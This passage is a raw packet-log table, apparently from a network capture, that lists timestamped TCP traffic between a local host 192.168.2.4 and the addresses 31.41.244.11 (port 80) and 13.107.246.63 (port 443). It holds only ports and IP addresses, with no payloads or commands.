Nov 23, 2024 03:21:11.986813068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.987787008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.987838030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.987876892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.987919092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.988902092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.988941908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.989011049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.989053965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.990060091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.990103006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.990149021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.990191936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.991173983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.991216898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.991300106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.991343021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.992341042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.992387056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.992440939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.992481947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.993482113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.993530989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.993601084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.993647099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.994637966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.994684935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.994726896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.994767904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.995764017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.995806932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.995812893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.995848894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.996923923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.996969938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.997026920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.997071028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.998025894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.998047113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.998070955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.998090982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.999437094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.999484062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:11.999519110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:11.999564886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.000323057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.000343084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.000370026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.000386000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.000560999 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.000716925 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.000768900 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.000881910 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.000895977 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.000907898 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.000914097 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.001477003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.001522064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.001594067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.001633883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.002574921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.002629995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.002688885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.002727985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.003710032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.003751040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.003833055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.003868103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.004396915 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.004472017 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.004547119 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.004710913 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.004745960 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.004868031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.004920006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.004959106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.005001068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.006050110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.006091118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.006122112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.006166935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.007137060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.007179022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.007211924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.007250071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.008313894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.008356094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.008438110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.008486032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.009433985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.009474993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.009536028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.009592056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.010554075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.010601044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.010646105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.010685921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.011682034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.011718035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.011810064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.011847019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.012830019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.012872934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.012932062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.012974977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.013963938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.014002085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.014070988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.014111996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.015100956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.015145063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.015202999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.015248060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.016242981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.016287088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.016350031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.016387939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.017385960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.017427921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.017497063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.017539024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.018512964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.018553972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.018619061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.018663883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.019665003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.019710064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.019768000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.019812107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.020795107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.020838976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.020875931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.020916939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.021939993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.021982908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.022017002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.022062063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.023083925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.023132086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.023175955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.023221016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.024198055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.024245977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.024327040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.024374962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.025330067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.025378942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.025469065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.025513887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.026468992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.026515007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.026614904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.026659966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.027673960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.027724028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.027761936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.027802944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.028769016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.028812885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.028846025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.028887987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.029901981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.029948950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.030009031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.030050993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.031044006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.031089067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.031145096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.031188011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.032188892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.032234907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.032298088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.032341003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.033329010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.033374071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.033418894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.033464909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.034456968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.034502983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.034570932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.034624100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.035603046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.035649061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.035684109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.035723925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.036742926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.036799908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.036885023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.036928892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.037873983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.037914991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.037992954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.038045883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.039019108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.039068937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.039134026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.039186954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.040172100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.040220976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.040298939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.040340900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.041285038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.041326046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.041389942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.041434050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.042371988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.042414904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.083563089 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.083616972 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.083657980 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.083786011 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.083792925 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.083801985 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.083806992 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.085920095 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.085983992 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.086225986 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.086226940 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.086294889 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.098586082 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.098634005 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.098674059 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.098777056 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.098792076 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.098820925 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.098825932 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.100534916 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.100586891 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.100666046 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.100868940 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:12.100894928 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:12.184135914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.184185028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.184202909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.184226036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.184329987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.184371948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.184436083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.184542894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.185476065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.185519934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.185587883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.185631990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.186645031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.186687946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.186729908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.186774969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.187772036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.187817097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.187858105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.187900066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.188896894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.188944101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.189001083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.189042091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.190052986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.190098047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.190136909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.190181017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.191155910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.191201925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.191268921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.191310883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.192312002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.192362070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.192419052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.192461967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.193463087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.193515062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.193555117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.193597078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.194587946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.194637060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.194680929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.194734097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.195724010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.195792913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.195820093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.195866108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.196842909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.196882963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.196960926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.197001934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.197997093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.198046923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.198091030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.198137045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.199141026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.199187994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.199234009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.199285030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.200275898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.200320959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.200344086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.200392008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.201410055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.201452971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.201486111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.201530933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.202562094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.202613115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.202656031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.202708006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.203702927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.203749895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.203790903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.203833103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.204854965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.204905033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.204946995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.204989910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.206022024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.206083059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.206142902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.206188917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.207093000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.207139969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.207201004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.207242966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.208250046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.208292961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.208353996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.208461046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.209387064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.209428072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.209517956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.209562063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.210535049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.210602999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.210640907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.210683107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.211725950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.211796999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.211858988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.211909056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.212811947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.212851048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.212933064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.212971926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.213947058 CET	80	49760	31.41.244.11	192.168.2.4
